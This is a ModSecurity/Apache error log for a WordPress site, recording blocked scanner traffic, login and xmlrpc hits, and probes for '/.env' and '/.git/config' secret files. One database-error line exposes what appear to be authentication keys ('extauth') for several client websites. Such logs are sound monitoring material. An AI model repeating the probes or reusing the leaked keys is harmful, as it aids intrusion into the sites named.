[Tue Jan 27 00:25:25.785846 2026] [:error] [pid 57173:tid 57236] [client 128.199.182.55:53652] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aXeVdU4W-bz8q8pfNmgIhAAAAAQ"]
[Tue Jan 27 02:45:36.772381 2026] [:error] [pid 57173:tid 57239] [client 182.44.10.67:55864] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXe2UE4W-bz8q8pfNmguLQAAAAc"]
[Tue Jan 27 03:09:18.251586 2026] [:error] [pid 44588:tid 44835] [client 45.133.5.92:54993] [client 45.133.5.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXe73jHRQD80UhqYrcArBAAAAQ8"]
[Tue Jan 27 03:39:29.382654 2026] [:error] [pid 44849:tid 44862] [client 43.164.197.224:46044] [client 43.164.197.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXfC8RvM0vcShMgZVmQQvgAAAUs"]
[Tue Jan 27 05:11:49.335664 2026] [:error] [pid 7561:tid 7582] [client 45.133.5.67:50443] [client 45.133.5.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXfYlbXGI6mgvHQqkXwGrAAAANI"]
[Tue Jan 27 06:32:35.746007 2026] [:error] [pid 7454:tid 7517] [client 20.46.177.15:22156] [client 20.46.177.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aXfrg5ltCoZEfMmfl8B42QAAAIE"]
[Tue Jan 27 06:32:36.219235 2026] [:error] [pid 7561:tid 7570] [client 20.46.177.15:22480] [client 20.46.177.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aXfrhLXGI6mgvHQqkXwiPAAAAMY"]
[Tue Jan 27 06:32:36.688994 2026] [:error] [pid 7454:tid 7525] [client 20.46.177.15:20800] [client 20.46.177.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aXfrhJltCoZEfMmfl8B43AAAAIk"]
[Tue Jan 27 06:32:37.167632 2026] [:error] [pid 7452:tid 7472] [client 20.46.177.15:12219] [client 20.46.177.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ae.php"] [unique_id "aXfrhWlXocEpHDB6FUZ86wAAAAs"]
[Tue Jan 27 06:38:19.087157 2026] [:error] [pid 7453:tid 7493] [client 45.133.5.80:34337] [client 45.133.5.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXfs2xfsyA2ws_ADquijSwAAAEQ"]
[Tue Jan 27 06:57:54.158182 2026] [:error] [pid 7452:tid 7481] [client 48.214.54.32:8409] [client 48.214.54.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aXfxcmlXocEpHDB6FUaFzAAAABQ"]
[Tue Jan 27 08:02:33.294567 2026] [:error] [pid 7453:tid 7493] [client 45.133.5.56:41651] [client 45.133.5.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXgAmRfsyA2ws_ADqujA_AAAAEQ"]
[Tue Jan 27 09:18:47.376668 2026] [:error] [pid 48412:tid 48414] [client 34.173.241.117:41472] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXgSd3bJMfAKlln88JFcVAAAAUA"]
[Tue Jan 27 09:18:48.140712 2026] [:error] [pid 7454:tid 7526] [client 34.173.241.117:41480] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXgSeJltCoZEfMmfl8C-nwAAAIo"]
[Tue Jan 27 09:18:48.513038 2026] [:error] [pid 7453:tid 7507] [client 34.173.241.117:41484] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/favicon.ico"] [unique_id "aXgSeBfsyA2ws_ADqujalAAAAFI"]
[Tue Jan 27 09:18:49.566795 2026] [:error] [pid 48631:tid 48648] [client 34.173.241.117:41492] [client 34.173.241.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/favicon.ico"] [unique_id "aXgSeSN5eesHzEogX0zcBwAAAk8"]
[Tue Jan 27 09:35:41.515353 2026] [:error] [pid 7561:tid 7573] [client 93.190.49.83:58532] [client 93.190.49.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.190.49.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXgWbbXGI6mgvHQqkXxmrwAAAMk"]
[Tue Jan 27 10:13:07.450423 2026] [:error] [pid 41780:tid 41801] [client 20.212.251.69:45748] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXgfM1vu-XLQ0TaZ4FGvbwAAARM"]
[Tue Jan 27 10:34:35.531862 2026] [:error] [pid 48662:tid 48670] [client 159.223.188.197:50808] [client 159.223.188.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.188.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXgkO-D8iESUP9uRiROpGQAAAoI"]
[Tue Jan 27 10:34:37.742160 2026] [:error] [pid 41780:tid 41782] [client 159.223.188.197:50976] [client 159.223.188.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.188.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXgkPVvu-XLQ0TaZ4FGz8AAAAQA"]
[Tue Jan 27 11:30:45.256583 2026] [:error] [pid 48412:tid 48415] [client 85.17.76.141:57298] [client 85.17.76.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.17.76.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXgxZXbJMfAKlln88JGEKQAAAUE"]
[Tue Jan 27 11:41:36.702584 2026] [autoindex:error] [pid 41780:tid 41805] [client 64.225.49.30:51578] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 27 12:50:42.288295 2026] [:error] [pid 48445:tid 48468] [client 150.109.180.208:60062] [client 150.109.180.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.109.180.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXhEIhFh_QNUhZ0HkzefrwAAAZM"]
[Tue Jan 27 12:56:11.079181 2026] [:error] [pid 48631:tid 48644] [client 45.133.5.75:35309] [client 45.133.5.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.75, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXhFayN5eesHzEogX0wEqAAAAks"]
[Tue Jan 27 13:29:06.191410 2026] [:error] [pid 48446:tid 48497] [client 159.89.50.224:36524] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXhNIsDRSaZ8F8aaLxlNOgAAAdM"]
[Tue Jan 27 13:33:04.763115 2026] [proxy_fcgi:error] [pid 7453:tid 7509] [client 103.4.122.13:52452] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:96:{i:69;a:5:{s:4:\\"name\\";s:18:\\"All Sport Projects\\";s:3:\\"url\\";s:32:\\"https://allsportprojects.com.au/\\";s:7:\\"extauth\\";s:32:\\"2eb014f645970839a3ef3f404e21d27f\\";s:4:\\"size\\";s:4:\\"1004\\";s:13:\\"connect_admin\\";s:3:\\"ACS\\";}i:117;a:5:{s:4:\\"name\\";s:20:\\"arcwaycareers.com.au\\";s:3:\\"url\\";s:29:\\"https://arcwaycareers.com.au/\\";s:7:\\"extauth\\";s:32:\\"a1f8eea2fbb799f2cc05381856ea285a\\";s:4:\\"size\\";s:4:\\"2258\\";s:13:\\"connect_admin\\";s:3:\\"acs\\";}i:90;a:5:{s:4:\\"name\\";s:17:\\"autoshield.com.au\\";s:3:\\"url\\";s:26:\\"https://autoshield.com.au/\\";s:7:\\"extauth\\";s:32:\\"e7ec4adcda8c762519e8153c3fd56670\\";s:4:\\"size\\";s:4:\\"2472\\";s:13:\\"connect_admin\\";s:3:\\"ACS\\";}i:6;a:5:{s:4:\\"name\\";s:4:\\"BFCG\\";s:3:\\"url\\";s:20:\\"https://bfcg.com.au/\\";s:7:\\"extauth\\";s:32:\\"fa465fb79ca406dd10cba2281a5a7037\\";s:4:\\"size\\";s:3:\\"230\\";s:13:\\"connect_admin\\";s:3:\\"ACS\\"...', referer: https://wpmain.screwlooseit.com.au
[Tue Jan 27 14:13:21.783987 2026] [:error] [pid 48446:tid 48481] [client 167.99.240.84:36686] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXhXgcDRSaZ8F8aaLxlVPwAAAcQ"]
[Tue Jan 27 14:53:15.403950 2026] [:error] [pid 7561:tid 7581] [client 35.234.37.132:45512] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXhg27XGI6mgvHQqkXyoTQAAANE"]
[Tue Jan 27 15:13:28.339959 2026] [:error] [pid 48446:tid 48481] [client 223.15.245.170:40643] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXhlmMDRSaZ8F8aaLxle6gAAAcQ"]
[Tue Jan 27 15:41:26.409842 2026] [:error] [pid 48445:tid 48455] [client 69.176.84.37:42144] [client 69.176.84.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.176.84.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXhsJhFh_QNUhZ0Hkze2TwAAAYY"]
[Tue Jan 27 15:57:36.543054 2026] [:error] [pid 48631:tid 48643] [client 51.68.227.217:52580] [client 51.68.227.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aXhv8CN5eesHzEogX0wergAAAko"], referer: https://www.youtube.com/
[Tue Jan 27 16:07:28.418583 2026] [:error] [pid 48662:tid 48674] [client 51.161.86.195:44044] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2lsm99.aspx"] [unique_id "aXhyQOD8iESUP9uRiRPU5gAAAoY"]
[Tue Jan 27 16:07:29.897727 2026] [:error] [pid 48446:tid 48487] [client 51.161.86.195:34144] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%AA%E0%B8%B0%E0%B8%94%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhyQcDRSaZ8F8aaLxlpOwAAAco"]
[Tue Jan 27 16:07:30.370633 2026] [:error] [pid 7453:tid 7505] [client 51.161.86.195:47914] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168.aspx"] [unique_id "aXhyQhfsyA2ws_ADquhoiwAAAFA"]
[Tue Jan 27 16:07:31.103735 2026] [:error] [pid 41780:tid 41784] [client 51.161.86.195:47922] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%20sa.aspx"] [unique_id "aXhyQ1vu-XLQ0TaZ4FHtvAAAAQI"]
[Tue Jan 27 16:07:32.871262 2026] [:error] [pid 48662:tid 48685] [client 51.161.86.195:47924] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhyROD8iESUP9uRiRPU6AAAApE"]
[Tue Jan 27 16:07:33.183887 2026] [:error] [pid 48662:tid 48679] [client 51.161.86.195:47928] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXhyReD8iESUP9uRiRPU6QAAAos"]
[Tue Jan 27 16:07:33.376644 2026] [:error] [pid 48528:tid 48539] [client 51.161.86.195:47944] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXhyRQOGRrquT9N7CZpWVAAAAgk"]
[Tue Jan 27 16:07:33.656261 2026] [:error] [pid 7453:tid 7492] [client 51.161.86.195:47958] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888.aspx"] [unique_id "aXhyRRfsyA2ws_ADquhojgAAAEM"]
[Tue Jan 27 16:07:34.807778 2026] [:error] [pid 41780:tid 41783] [client 51.161.86.195:47974] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%AA%E0%B8%B0%E0%B8%94%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhyRlvu-XLQ0TaZ4FHtwQAAAQE"]
[Tue Jan 27 16:07:35.826624 2026] [:error] [pid 48662:tid 48681] [client 51.161.86.195:39382] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20g2g.aspx"] [unique_id "aXhyR-D8iESUP9uRiRPU7QAAAo0"]
[Tue Jan 27 16:07:36.758273 2026] [:error] [pid 48446:tid 48485] [client 51.161.86.195:39390] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXhySMDRSaZ8F8aaLxlpRQAAAcg"]
[Tue Jan 27 16:07:36.824183 2026] [:error] [pid 48631:tid 48657] [client 51.161.86.195:39392] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXhySCN5eesHzEogX0wfUQAAAlg"]
[Tue Jan 27 16:07:38.726088 2026] [:error] [pid 7453:tid 7503] [client 51.161.86.195:39410] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%8A%E0%B8%B5%E0%B8%A2.aspx"] [unique_id "aXhyShfsyA2ws_ADquhokAAAAE4"]
[Tue Jan 27 16:07:39.376648 2026] [:error] [pid 7561:tid 7587] [client 51.161.86.195:39424] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhyS7XGI6mgvHQqkXyzFgAAANc"]
[Tue Jan 27 16:07:39.471247 2026] [:error] [pid 48446:tid 48494] [client 51.161.86.195:39422] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%8799.aspx"] [unique_id "aXhyS8DRSaZ8F8aaLxlpSQAAAdA"]
